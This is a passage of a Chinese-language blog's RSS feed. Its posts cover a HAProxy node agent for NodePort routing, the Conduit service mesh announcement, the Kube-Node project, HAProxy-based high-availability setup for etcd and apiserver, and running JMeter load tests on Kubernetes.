&lt;p&gt;要替换一个节点，只需要重启 Pipeline，生成并部署新的端点配置。这会花费几个小时，好在是全自动的。因为每个服务都通过有限数量的节点进行路由，因此不能一次性的从同一个服务中移除太多节点。这意味着，我们只能每天从 Kubernetes 集群中替换有限数量的节点，不过目前为止这还没有造成什么问题。&lt;/p&gt;

&lt;h2 id=&#34;node-agent&#34;&gt;Node Agent&lt;/h2&gt;

&lt;p&gt;在短期维护中，例如内核更新需要重启节点，我们需要一种将节点优雅排空的能力。我们为 HAProxy 的 agent-check 协议开发了一个 Agent，监听每个节点的固定端口。为了简单起见，我们希望能够同时移除流量和 Pod，当节点从 Kubernetes 进行隔离之后，新的 Pod 不会被调度在这一节点上，Agent 更新 HAProxy 状态，将流量从这一节点上移除。&lt;/p&gt;

&lt;p&gt;有时我们还要把流量在一个服务的不同 Deployment 之间进行切换，还包括同一集群和不同集群的情况。为了支持这种切换，我们对这个 Agent 进行了扩展。我们在 Kubernetes 的 Service 对象上增加了一些注解(annotations)，以此指示监听新的端口，扩展的 Agent 不仅检查节点的维护状态，还会检查这一服务的优先级。端点配置过程会获取这一信息并据此配置 Agent 的检查行为。应用开发者可以添加多个 Kubernetes 后端到任意的公开主机和路径。每个后端我们都像之前一样利用哈希选择一组节点提供服务。修改服务注解，就能在几秒钟改变各个后端服务的权重。&lt;/p&gt;

&lt;h2 id=&#34;未来&#34;&gt;未来&lt;/h2&gt;

&lt;p&gt;这种基于 NodePort 的路由方式工作的不错，但是也有一些隐忧。一个应用实例之间的负载分配并不均等，我们的应对方式是为应用分配稍多的资源。这一问题上，多分配资源的成本远低于由工程师开发新的负载均衡机制所需要的花费。&lt;/p&gt;

&lt;p&gt;在物理机组成的数据中心运维 Kubernetes 是一个挑战。在公有云服务中，都会提供标准方案；而每个数据中心都会有些不同——尤其是并非从头开始，而是将 Kubernetes 向现有基础设施进行融合的情况下。本文中，我们主要阐述的就是我们应对部分问题的部分解决方法.&lt;/p&gt;

&lt;p&gt;下一步？我们目前考虑的是在不同位置的多个 Kubernetes 集群，为不同用户选择不同集群来达到优化体验的目的。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Conduit 登场</title>
      <link>/post/conduit-ann/</link>
      <pubDate>Wed, 06 Dec 2017 09:46:58 +0800</pubDate>
      <guid>/post/conduit-ann/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://buoyant.io/2017/12/05/introducing-conduit/&#34; target=&#34;_blank&#34;&gt;Introducing Conduit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;今天我们要介绍 &lt;a href=&#34;http://conduit.io/&#34; target=&#34;_blank&#34;&gt;Conduit&lt;/a&gt;，面向 Kubernetes 的新的开源 Service Mesh。&lt;/p&gt;

&lt;p&gt;Conduit 横空出世，目标是成为最快、最轻、最简单并且最安全的 Service Mesh。他使用 &lt;a href=&#34;https://www.rust-lang.org/&#34; target=&#34;_blank&#34;&gt;Rust&lt;/a&gt; 构建了快速、安全的数据平面，用 &lt;a href=&#34;https://golang.org/&#34; target=&#34;_blank&#34;&gt;Go&lt;/a&gt; 开发了简单强大的控制平面，总体设计围绕着性能、安全性和可用性进行。更重要的是，Conduit 将会完全吸收过去 18 个月中，我们在 Linkerd 的生产级 Service Mesh 中积累沉淀的真实经验。&lt;/p&gt;

&lt;p&gt;为什么要做一个 Conduit？Linkerd 是世界上最多生产级部署的 Service Mesh。这一产品创造了 &amp;ldquo;Service Mesh&amp;rdquo; 这一词汇，在软件基础设施中成功的开辟了新的领域，为遍及全球的企业客户（例如 Salesforce、Paypal、Expedia、AOL 以及 Monzo）承载了数以万亿计的请求。这一段时间里，我们和客户以及用户们甘苦与共——我们一起开会，设计交叉路线图，凌晨三点起床救火。开源的基础设施和现实世界的对撞中，我们学到了弥足珍贵的经验和教训。&lt;/p&gt;

&lt;p&gt;这中间有个突出的问题就是，Linkerd 的部署模型太重了。虽然 Linkerd 的各个组件，例如 Finagle、Netty、Scala 以及 JVM，都是被广泛采用千锤百炼的，有了这些组件的帮助，在有足够 CPU 和内存支持的情况下，Linkerd 能够达到非常高的负载能力；然而设计过程中鲜有考虑在有限的资源情况下，基于 sidecar 模式的 Kubernetes 部署方式。所以今年年初，我们自问：有了 18 个月的生产级 Service Mesh 的经验，如果要做出一个功能完备又可以在低资源环境下运行的 Service Mesh，我们会怎么做？&lt;/p&gt;

&lt;p&gt;答案就是 Conduit。和 Linkerd 类似，Conduit 是让微服务安全可靠的下一代 Service Mesh。他能透明的管理服务之间的通信，自动提供可测性、可靠性、安全性和弹性的支持。还是跟 Linkerd 相仿，他的数据平面是在应用代码之外运行的轻量级代理，控制平面是一个高可用的控制器。然而和 Linkerd 不同的是，Conduit 的设计更加倾向于 Kubernetes 中的低资源部署。&lt;/p&gt;

&lt;p&gt;Conduit 为什么伟大（hhhhh）：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;轻量高速：Conduit 代理只需要不到 10 MB 实际内存（RSS），p99 延迟在分毫秒以内。&lt;/li&gt;
&lt;li&gt;安全：Rust 的内存使用相当安全，同时还缺省使用了 TLS，Conduit 的安全性与生俱来。&lt;/li&gt;
&lt;li&gt;最小化：Conduit 的特性集被设计为尽量的最小化和可编排，便于使用 gRPC 插件进行定制。&lt;/li&gt;
&lt;li&gt;易用性：内置有聚合的服务指标，强大的客户端工具（想想看，微服务界的 tcpdump），Conduit 为运维人员提供了新的强大的工具来对付生产环境的微服务。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;过去半年中我们一直在努力的构建 Conduit。我们聘请了 &lt;a href=&#34;http://philcalcado.com/&#34; target=&#34;_blank&#34;&gt;Phil&lt;/a&gt;、&lt;a href=&#34;https://github.com/carllerche&#34; target=&#34;_blank&#34;&gt;Carl&lt;/a&gt;、&lt;a href=&#34;http://seanmonstar.com/&#34; target=&#34;_blank&#34;&gt;Sean&lt;/a&gt; 以及 &lt;a href=&#34;https://briansmith.org/&#34; target=&#34;_blank&#34;&gt;Brain&lt;/a&gt; 这样的高手；向 &lt;a href=&#34;https://github.com/tokio-rs/tokio&#34; target=&#34;_blank&#34;&gt;Tokio&lt;/a&gt; 和 &lt;a href=&#34;https://github.com/BuoyantIO/tower&#34; target=&#34;_blank&#34;&gt;Tower&lt;/a&gt; 这样的核心技术投资，让 Conduit 又快又安全。最重要的是，我们决心用 Conduit 解决在 Linkerd 社区遇到的实际问题。&lt;/p&gt;

&lt;h2 id=&#34;linkerd-怎么办&#34;&gt;Linkerd 怎么办？&lt;/h2&gt;

&lt;p&gt;简单说说，Linkerd 是世界上最广泛在生产环境进行使用的 Service Mesh，他会长期存在，我们会持续的进行开发、管理并提供商业支持；我们会保证我们的 Linkerd 用户的幸福感。&lt;/p&gt;

&lt;p&gt;Conduit 不是 Linkerd 2.0。Conduit 面向的是非常特定的环境 —— Kubernetes，而不准备像 Linkerd 一样做出众多的集成支持。我们的大量用户在使用 ECS、Consul、Mesos、ZooKeeper、Nomad、Rancher 或者混合的多环境系统，Linkerd 是目前的最好选择，我们会持续投入进行改善。&lt;/p&gt;

&lt;h2 id=&#34;现在开始&#34;&gt;现在开始！&lt;/h2&gt;

&lt;p&gt;我们刚刚发布了 Conduit 0.1。&lt;a href=&#34;https://conduit.io/&#34; target=&#34;_blank&#34;&gt;来跳坑吧&lt;/a&gt;！目前这是个 Alpha 版本，所以理直气壮的仅提供 HTTP/2 的支持（是的，HTTP/1.1 都不支持）。我们希望我们的早期用户能够尽早接触 Conduit，并从中获得反馈。&lt;/p&gt;

&lt;p&gt;接下来的几个月中，我们会积极工作，推进 Conduit 的生产化进程，预计来年初面世的 0.2 中，会加入 HTTP/1.1 和 TCP 的支持（&lt;a href=&#34;https://conduit.io/roadmap/&#34; target=&#34;_blank&#34;&gt;路线图&lt;/a&gt;）。这一产品的进展和目标会非常公开。最后，我们还会提供 Conduit 的商业支持，如果有兴趣的话可以&lt;a href=&#34;mailto:hello@buoyant.io&#34; target=&#34;_blank&#34;&gt;联系我们&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;想要了解更多？可以订阅我们的发布通知邮件列表，加入 &lt;a href=&#34;http://slack.linkerd.io/?__hstc=9342122.eea97f52bb4b2bba60b0c11bd6dc7c15.1506617171339.1510149418766.1512491813854.6&amp;amp;__hssc=9342122.1.1512491813854&amp;amp;__hsfp=3751614787&#34; target=&#34;_blank&#34;&gt;Linkerd 的 Slack 频道&lt;/a&gt;，或者 Follow &lt;a href=&#34;https://twitter.com/runconduit&#34; target=&#34;_blank&#34;&gt;@runconduit&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;Conduit 是基于 Apache 2.0 协议的开源软件。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kube-Node：让 Kubernetes 自行管理节点</title>
      <link>/post/kube-node-for-k8s/</link>
      <pubDate>Sun, 26 Nov 2017 18:37:58 +0800</pubDate>
      <guid>/post/kube-node-for-k8s/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/kube-node-let-k8s-cluster-auto-manage-nodes/&#34; target=&#34;_blank&#34;&gt;Kube-Node: Let Your Kubernetes Cluster Auto-Manage Its Nodes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文是一个系列中的一篇，来自于 CNCF 成员，为奥斯汀 12.6-12.8 的 KubeCon/CloudNativeCon 而做。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://twitter.com/michellenoorali&#34; target=&#34;_blank&#34;&gt;Michelle Noorali&lt;/a&gt; 在今年三月份的&lt;a href=&#34;https://www.thenewstack.io/tag/KubeCon-Europe-2017&#34; target=&#34;_blank&#34;&gt;欧洲 KubeCon&lt;/a&gt; 上的 &lt;a href=&#34;https://www.youtube.com/watch?v=aOQwyN0bTk4&#34; target=&#34;_blank&#34;&gt;KeyNote&lt;/a&gt;中说到：&lt;a href=&#34;https://www.thenewstack.io/tag/Kubernetes&#34; target=&#34;_blank&#34;&gt;Kubernetes&lt;/a&gt; 对开发人员来说还是太难了。原则上来说，开发人员对 Kubernetes 和容器技术是非常热爱的，这一系列的技术让开发人员编写的应用能够到处运行，却无需担心基础设施的差异。但事实上，这一技术体系还是有很多依赖的，这些依赖很大程度上磨灭了用户的热情。&lt;/p&gt;

&lt;p&gt;对开发人员来说，Kubernetes 有个主要的障碍就是他无法对其服务器进行自动管理和伸缩，因此一个工作节点的部署或移除都少不了运维工程师的参与。当然目前有很多节点部署方案，例如 &lt;a href=&#34;https://www.thenewstack.io/tag/Terraform&#34; target=&#34;_blank&#34;&gt;Terraform&lt;/a&gt;、&lt;a href=&#34;http://bit.ly/2pxydLh&#34; target=&#34;_blank&#34;&gt;Chef&lt;/a&gt; 以及 &lt;a href=&#34;http://bit.ly/2k6mjaO&#34; target=&#34;_blank&#34;&gt;Puppet&lt;/a&gt;，这些技术让运维人员的日子好过了点。然而上述技术都需要一些特定领域的知识；目前还不存在一种无须运维接入的通用的跨平台方法。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/deploy-a-node-now.png&#34; alt=&#34;目前的节点部署方法&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Kubernetes 节点的生命周期，同其他的 Kubernetes 资源的生命周期是不一致的，这是 Kubernetes 节点部署和管理的一个主要问题。当下的节点管理生命周期里，节点是在一台服务器加入集群之后创建的。然而一般的 Kubernetes 资源并不是这样的：首先创建资源，然后才加入服务器。&lt;/p&gt;

&lt;p&gt;这种情况是不合理的。为了解决这一问题，来让节点的管理工作纳入正轨，我们决定启动 &lt;a href=&#34;https://github.com/kube-node/kube-machine&#34; target=&#34;_blank&#34;&gt;kube-node&lt;/a&gt; 这一社区项目。我们的目标是为 Kubernetes 开发一个类似 &lt;a href=&#34;https://kubernetes.io/docs/concepts/storage/persistent-volumes/&#34; target=&#34;_blank&#34;&gt;持久卷系统&lt;/a&gt; 的原生节点整合方案。&lt;/p&gt;

&lt;p&gt;持久卷系统从各种云中抽象出了存储的供给和使用的功能。这种抽象把存储卷的生命期从环境中独立出来，令其可以被动态的分配和管理。&lt;/p&gt;

&lt;h2 id=&#34;如何设置-kube-node&#34;&gt;如何设置 Kube-Node&lt;/h2&gt;

&lt;p&gt;类似持久卷的设置，Kube-Node 是一个高级别的抽象系统：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;管理员进行配置的定义&lt;/li&gt;
&lt;li&gt;开发人员可以使用简单的&lt;code&gt;kubectl create node -f node1.yaml&lt;/code&gt;来对集群进行扩容&lt;/li&gt;
&lt;li&gt;Kubernetes 控制节点的生命周期&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为了达成这一目标，我们引入了两个新的 API 资源：NodeClass 和 NodeSet，这些资源由 NodeController 和 NodeSetController 来进行管理。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NodeSet 保证任意时间内都有指定数量的节点正在运行。跟 ReplicaSet 类似，NodeSet 要保障一个节点或者一系列的同质化节点的运行和可用状态。 NodeSet 来自于 NodeClass，其细节定义在 Node 模板中。&lt;/li&gt;
&lt;li&gt;NodeClass 让管理员有了为新节点设置配置的可能性。NodeClass 包括了云供应商和操作系统特定的细节，例如认证信息、机器类型等数据。另外管理员还可以定义服务质量水平和策略。Kubernetes 不能干涉 NodeClass 的定义。&lt;/li&gt;
&lt;li&gt;NodeSetController 会关注 NodeSet，负责节点的创建和删除工作。在目前的实现中，他管理节点资源的创建，并跟 GKE 的节点池进行同步。&lt;/li&gt;
&lt;li&gt;NodeController 关注节点对象并在云端进行服务器的供应。服务器加入集群之后，kubelet 会更新节点资源；类似的，在节点对象被删除的时候，NodeController 会从云端删除这一服务器。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/kube-node.png&#34; alt=&#34;kube-node&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;概述和路线&#34;&gt;概述和路线&lt;/h2&gt;

&lt;p&gt;kube-node 是一个社区项目，用于提供通用的 Kubernetes 节点管理手段。目标是为开发者提供一个无需运维介入的、基础设施无关的简单方式，来对集群进行伸缩。其中包含了基于 CustomResourceDefinition 的类型、client-go 为基础的客户端以及 NodeController 和 NodeSetController。&lt;/p&gt;

&lt;p&gt;首先会实现 NodeSetController 和 NodeController 的联动，接下来会和 GKE 节点池进行集成。上面的两个步骤会针对各种不同用例来进行概念的验证。NodeController 的第一步会复用 docker-machine 的一部分代码，称为 &lt;a href=&#34;https://github.com/kube-node/kube-machine&#34; target=&#34;_blank&#34;&gt;kube-machine&lt;/a&gt;，用于和多个不同的云供应商中加载服务器。&lt;/p&gt;

&lt;p&gt;下一步，我们计划把 NodeSet 和 Kubernetes 的自动伸缩功能进行集成，让 NodeController 根据集群负载，能够自动对 NodeSet 的实例数进行设置。这一集成能够让 Kubernetes 在多种不同的平台上实现集群的自动伸缩。另外我们会实现更多的 NodeController，包括 Terraform、Python 或者 AWS。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>搭建高可用 Kubernetes 集群</title>
      <link>/post/ha-kubernetes-cluster/</link>
      <pubDate>Wed, 22 Nov 2017 11:19:59 +0800</pubDate>
      <guid>/post/ha-kubernetes-cluster/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;领导说，只要机器够多，故障是个很平常的事情。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Kubernetes 能很好的管理容器和节点，所以正常的节点故障或者个别应用的故障是不会影响集群运作的。一旦 apiserver 或者所依赖的 etcd 出现问题，情况就不再乐观了。幸好这两个核心服务都提供了高可用相关能力。同时 controller-manager 以及 scheduler 也都具备通过选举产生 leadership 的机制，这就提供了高可用的基础。下面讲讲 Master 组件的高可用部署方式。&lt;/p&gt;

&lt;h2 id=&#34;部署目标&#34;&gt;部署目标&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;每个 apiserver 都使用不同的负载均衡端点访问整个 etcd 集群。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;每个 controller-manager 和 scheduler 使用各自的 apiserver 进行工作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;客户端通过负载均衡机访问 apiserver。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&#34;images/kubernetes-ha.png&#34; alt=&#34;ha-kubernetes&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;前提条件&#34;&gt;前提条件&lt;/h2&gt;

&lt;p&gt;这里我们假设，ETCD 集群已经成功建立，包含三个节点，采用 https 访问进行访问；Master 节点只有一个。也同样的使用 https 进行访问，集群能够正常工作。&lt;/p&gt;

&lt;p&gt;另外准备若干台服务器安装 haproxy 充当负载均衡。&lt;/p&gt;

&lt;h2 id=&#34;etcd&#34;&gt;ETCD&lt;/h2&gt;

&lt;p&gt;众所周知的是，apiserver 的 &lt;code&gt;--etcd-servers&lt;/code&gt; 参数是可以输入一整个 etcd 集群的，然而在使用中我们发现，一些特定版本的 apiserver 在 第一台 etcd 服务所在节点的特殊故障情况下，虽然 etcd 本身已经能够发现集群健康状态异常，却依然会陷入假死状态，，具体症状是多数 kubectl 的 Workload 相关操作都能完成，然而却不会真正生效。因此我们需要更可靠的对 etcd 集群的访问方式，降低 apiserver 缺陷造成的集群不可用的风险。&lt;/p&gt;

&lt;p&gt;因为采用了 https 方式进行访问，所以这里我们 haproxy 的配置需要使用 tcp 方式。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;不用 https 端点（也就是对外 https 对内 http 的部署）的方式，纯属个人习惯。
在启用 haproxy 之前，注意要把服务端证书的 IP 进行扩展，令其支持新增的负载均衡地址。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;简单粗暴上代码：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;...
frontend  in-etcd
    bind *:12379
    mode tcp
    default_backend etcd-cluster

backend etcd-cluster
    mode tcp
    balance     roundrobin
    option httpchk GET /health
    http-check expect string true
    server app1 10.211.55.9:2379 check check-ssl verify none
    server app2 10.211.55.10:2379 check check-ssl verify none
    server app3 10.211.55.11:2379 check check-ssl verify none
...
&lt;/code&gt;&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;使用负载均衡节点的 12379 端口对外提供服务。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;前后端均使用 tcp 方式。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;利用 etcd 节点的 &lt;code&gt;/health&lt;/code&gt; 端点进行健康检查，健康标准是返回字符串 &lt;code&gt;true&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;不校验 etcd 服务端证书。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;启用 haproxy 之后，访问 haproxy 的状态页面，可以看到 etcd 集群的代理已经建立。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/etcd.haproxy.png&#34; alt=&#34;etcd-cluster&#34; /&gt;&lt;/p&gt;

&lt;p&gt;任意停止其中一台，会看到在检测窗口过后，对应的服务器状态切换为 &lt;code&gt;DOWN&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;用同样的方式部署其他两台 haproxy 服务器。&lt;/p&gt;

&lt;h2 id=&#34;master-组件&#34;&gt;Master 组件&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;和 etcd 情况一样，apiserver 的服务证书，也需要更新，加入新的 Master 节点以及前端负载均衡的地址。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;首先更改 apiserver 的 etcd 参数，从原来的三台 etcd 变更为单一的 haproxy 地址，例如 &lt;code&gt;https://haproxy1:12379&lt;/code&gt;。修改之后，重新启动服务，可以看到服务正常启动成功。&lt;/p&gt;

&lt;p&gt;接下来，我们将 apiserver、controller-manager 以及 scheduler 的可执行文件、服务定义、相关证书以及配置文件复制到新加入的服务器中，并启用服务。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;每个 apiserver 需要配置各自的 etcd haproxy。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;每个 scheduler 和 controller-manager 都访问各自的 apiserver 服务，并使用参数&lt;code&gt;--leader-elect&lt;/code&gt;启用选举（这一参数是缺省启用的）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;和 etcd 类似，为 apiserver 配置 haproxy：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;frontend in-apiserver
    bind *:16443
    mode tcp
    default_backend apiserver-cluster

backend apiserver-cluster
    mode tcp
    balance     roundrobin
    option httpchk GET /healthz
    http-check expect string ok
    server app1 10.211.55.9:6443 check check-ssl verify none
    server app2 10.211.55.10:6443 check check-ssl verify none
    server app3 10.211.55.11:6443 check check-ssl verify none
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里我们访问 apiserver 的 &lt;code&gt;/healthz&lt;/code&gt; 端点，如果得到返回内容为 &lt;code&gt;ok&lt;/code&gt;，则判断集群为健康。&lt;/p&gt;

&lt;p&gt;配置后启动 haproxy，查看状态页面，可以看到 apiserver 集群也已经就绪。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/apiserver.proxy_.png&#34; alt=&#34;apiserver-cluster&#34; /&gt;&lt;/p&gt;

&lt;p&gt;最后可以修改 kubectl 以及各个 Node 的 kubelet/kube-proxy apiserver 参数到负载均衡地址。&lt;/p&gt;

&lt;h2 id=&#34;测试&#34;&gt;测试&lt;/h2&gt;

&lt;p&gt;停止任意一台 Master 的服务，包括 apiserver/controller-manager/scheduler，会看到 controller-manager 或 scheduler 的选举过程。如果停掉的是 apiserver，则可以在 haproxy 状态页上看到集群可用性的变化。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 上使用 Jmeter 运行压力测试</title>
      <link>/post/jmeter-on-k8s/</link>
      <pubDate>Thu, 16 Nov 2017 23:31:55 +0800</pubDate>
      <guid>/post/jmeter-on-k8s/</guid>
      <description>

&lt;p&gt;Kubernetes 的资源和任务调度能力，能给自动化测试提供相当大力的支持，这里以 Jmeter 为例，讲讲如何在 Kubernetes 中使用 Jmeter 进行简单的性能测试。&lt;/p&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;录制任务：本文所用镜像为 Jmeter 3.x 版本，建议提前录制一个简单的测试任务进行下面的操作。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;支持 Jobs 的 Kubernetes 集群，以及缺省的 StorageClass 支持，能够实现 PVC 的动态供应。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;互联网连接。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;试验内容&#34;&gt;试验内容&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;搭建一个 Web DAV 服务，用于提供给 Jmeter 输入输出场所，也便于日后 CI/CD 工具的案例输入或结果输出。&lt;/li&gt;
&lt;li&gt;运行单实例的 Jmeter 测试任务。&lt;/li&gt;
&lt;li&gt;运行集群形式的 Jmeter 测试任务。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;预备存储&#34;&gt;预备存储&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;这一步骤并非强制，完全可以通过 scp 或者 mount 等其他方式来实现&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这里我们做一个 Web DAV 服务，挂载一个 PVC，在其中分为 input 和 output 两个目录，实际使用过程中，可以进一步按照任务或者 Job 对目录进行更详尽的规划。&lt;/p&gt;

&lt;p&gt;首先创建名为&lt;code&gt;jmeter-task&lt;/code&gt;的存储卷：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: PersistentVolumeClaim
apiVersion: v1
metadata:
  name: jmeter-task
spec:
  accessModes:
    - ReadWriteMany
  resources:
    requests:
      storage: 1Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;存储卷创建之后，可以使用 &lt;code&gt;cadaver&lt;/code&gt; 或者 &lt;code&gt;WinSCP&lt;/code&gt; 等工具去建立目录。&lt;/p&gt;

&lt;p&gt;接下来上传 &lt;code&gt;*.jmx&lt;/code&gt; 文件，到 &lt;code&gt;input&lt;/code&gt; 目录之中，这里我录制的一个持续访问京东首页的任务，命名为 &lt;code&gt;jd.jmx&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;单实例测试&#34;&gt;单实例测试&lt;/h2&gt;

&lt;p&gt;单实例测试很容易，使用 Kubernetes 的 Job 方式即可：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: batch/v1
kind: Job
metadata:
  name: jmeter
spec:
  template:
    metadata:
      name: jmeter
    spec:
      restartPolicy: Never
      containers:
      - name: jmeter
        image: dustise/jmeter-server
        command:
          - &amp;quot;/jmeter/bin/jmeter&amp;quot;
          - &amp;quot;-n&amp;quot;
          - &amp;quot;-t&amp;quot;
          - &amp;quot;/jmeter/input/jd.jmx&amp;quot;
          - &amp;quot;-l&amp;quot;
          - &amp;quot;/jmeter/output/log&amp;quot;
          - &amp;quot;-j&amp;quot;
          - &amp;quot;/jmeter/output/joker&amp;quot;
        volumeMounts:
        - name: data
          mountPath: /jmeter/input
          subPath: input
        - name: data
          mountPath: /jmeter/output
          subPath: output
      volumes:
      - name: data
        persistentVolumeClaim:
          claimName: jmeter-task
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的定义中：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;任务 Pod 加载了存储卷 &lt;code&gt;jmeter-task&lt;/code&gt;。使用 &lt;code&gt;subPath&lt;/code&gt; 指令，分别挂载了输入和输出目录。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;使用 &lt;code&gt;-n -t&lt;/code&gt; 的方式运行测试任务，并把输出文件定位到 &lt;code&gt;output&lt;/code&gt; 目录中。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;接下来就可以使用 &lt;code&gt;kubectl create -f jobs1.yaml&lt;/code&gt; 来运行这一任务。&lt;/p&gt;

&lt;p&gt;任务启动之后，可以：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;使用 &lt;code&gt;kubectl get jobs&lt;/code&gt; 来查看任务运行状况。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;kubectl get pods --show-all&lt;/code&gt; 查看任务 Pod。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;kubectl logs -f [pod name&lt;/code&gt; 查看任务输出。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;最后任务会变成完成状态，就可以在 Web DAV 中查看任务报告了。&lt;/p&gt;

&lt;h2 id=&#34;集群测试&#34;&gt;集群测试&lt;/h2&gt;

&lt;p&gt;Jmeter 可以使用控制台+负载机的形式，使用多个节点进行压力测试，这里需要解决的一个最重要问题就是，在指派任务给负载机时，Jmeter 需要使用 &lt;code&gt;-R host:port&lt;/code&gt; 的参数，来指定任务要调用的负载机。这一通信是无法通过 Kubernetes 方式的 Service 来完成的。必须建立 Pod 之间的通信，而 Pod 的主机名地址是很飘逸的，同时，我们还是希望负载节点的数量能够实现较为自由的伸缩，因此解决方法就只有 StatefulSet 了。&lt;/p&gt;

&lt;p&gt;这个 YAML 很长，所以放在最后了，说说其中的要点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;注解中的 &lt;code&gt;security.alpha.kubernetes.io/sysctls&lt;/code&gt;：实际运行中，jmeter 负载机是需要对内核参数进行一点调整的，Pod 中可以用这一方式进行调整，&lt;code&gt;https://kubernetes.io/docs/concepts/cluster-administration/sysctl-cluster/&lt;/code&gt; 中有更详细的关于这方面的内容讲解。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;spec.affinity&lt;/code&gt;：这里设置 Jmeter Pod 尽量分布在不同节点上。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;RMI_HOST&lt;/code&gt;环境变量：使用每个 Pod 的 IP 为这一变量赋值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Service：利用这个 Headless 服务，为每个 Pod 提供主机名支持。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;启动这个 Statefulset 之后，会看到规律创建的 Pod 名称：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;jnode-0                   1/1       Running   0          1h
jnode-1                   1/1       Running   0          1h
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;对应的主机名称就应该是 jnode-0.jfarm，jnode-1.jfarm。所以上面的 &lt;code&gt;job.yaml&lt;/code&gt; 可以新增 &lt;code&gt;-R jnode-0.jfarm:1099,jnode-1.jfarm:1099&lt;/code&gt; 即可。&lt;/p&gt;

&lt;p&gt;使用 &lt;code&gt;kubectl create&lt;/code&gt; 启动任务之后，查看该任务 Pod 的日志，会出现大致这样的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Creating summariser &amp;lt;summary&amp;gt;
Created the tree successfully using /jmeter/input/jd.jmx
Configuring remote engine: jnode-0.jfarm:1099
Configuring remote engine: jnode-1.jfarm:1099
Starting remote engines
Starting the test @ Thu Nov 16 07:24:14 GMT 2017 (1510817054558)
Remote engines have been started
Waiting for possible Shutdown/StopTestNow/Heapdump message on port 4445
